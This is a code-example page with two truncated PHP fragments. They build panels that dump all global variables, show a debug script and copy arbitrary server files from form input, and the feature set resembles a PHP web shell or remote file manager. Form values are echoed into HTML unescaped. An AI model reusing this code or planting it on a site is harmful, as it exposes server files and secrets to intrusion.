예제 #1
0
}
###############################################################################
# dump variables
###############################################################################
if ($dumpvars == 1) {
    $strOutput .= "<table border=1><tr><td><h3>dump variables</h3></td></tr>\n\t<tr><td>" . dd("GLOBALS") . "</td></tr>\n\t</table>";
}
###############################################################################
# dump variables (DEBUG SCRIPT) NEEDS MODIFINY FOR B64 STATUS!!
###############################################################################
if ($debugscript == 1) {
    ?>
	<table border=1><tr><td><h3>debug script</h3></td></tr>
	<tr><td>
	<?php 
    ddb("DebugArr");
    ?>
	</td></tr>
	</table>
<?php 
}
###############################################################################
# copy file
###############################################################################
if ($filecopy == 1) {
    $strOutput .= "<table border=1><tr><td colspan=2><h3>copy file</h3></td></tr>\n\t<form method='post' target='_parent' action=" . $MyLoc . "?" . $SREQ . "&'>\n\t<tr><td>source</td><td><input type=text name='filecopy_source' value='" . $filecopy_source . "'></td></tr>\n\t<tr><td>destination</td><td><input type=text name='filecopy_dest'  value='" . $filecopy_dest . "'></td></tr>\n\t<tr><td></td><td><input type=submit></td></tr>\n\t<tr><td colspan=2>" . copy_file($filecopy_source, $filecopy_dest) . "</td></tr>\n\t</form>\n\t</table>";
}
###############################################################################
# edit file
###############################################################################
if ($fileedit == 1) {
예제 #2
0
###############################################################################
# dump variables
###############################################################################
if($dumpvars == 1) {
	$strOutput .= "<table border=1><tr><td><h3>dump variables</h3></td></tr>
	<tr><td>" . dd("GLOBALS") . "</td></tr>
	</table>";
}
###############################################################################
# dump variables (DEBUG SCRIPT) NEEDS MODIFINY FOR B64 STATUS!!
###############################################################################
if($debugscript == 1) { ?>
	<table border=1><tr><td><h3>debug script</h3></td></tr>
	<tr><td>
	<? ddb("DebugArr"); ?>
	</td></tr>
	</table>
<? }
###############################################################################
# copy file
###############################################################################
if($filecopy == 1) { 
	$strOutput .= "<table border=1><tr><td colspan=2><h3>copy file</h3></td></tr>
	<form method='post' target='_parent' action=" . $MyLoc . "?" . $SREQ . "&'>
	<tr><td>source</td><td><input type=text name='filecopy_source' value='" . $filecopy_source . "'></td></tr>
	<tr><td>destination</td><td><input type=text name='filecopy_dest'  value='" . $filecopy_dest . "'></td></tr>
	<tr><td></td><td><input type=submit></td></tr>
	<tr><td colspan=2>" . copy_file($filecopy_source,$filecopy_dest) . "</td></tr>
	</form>
	</table>";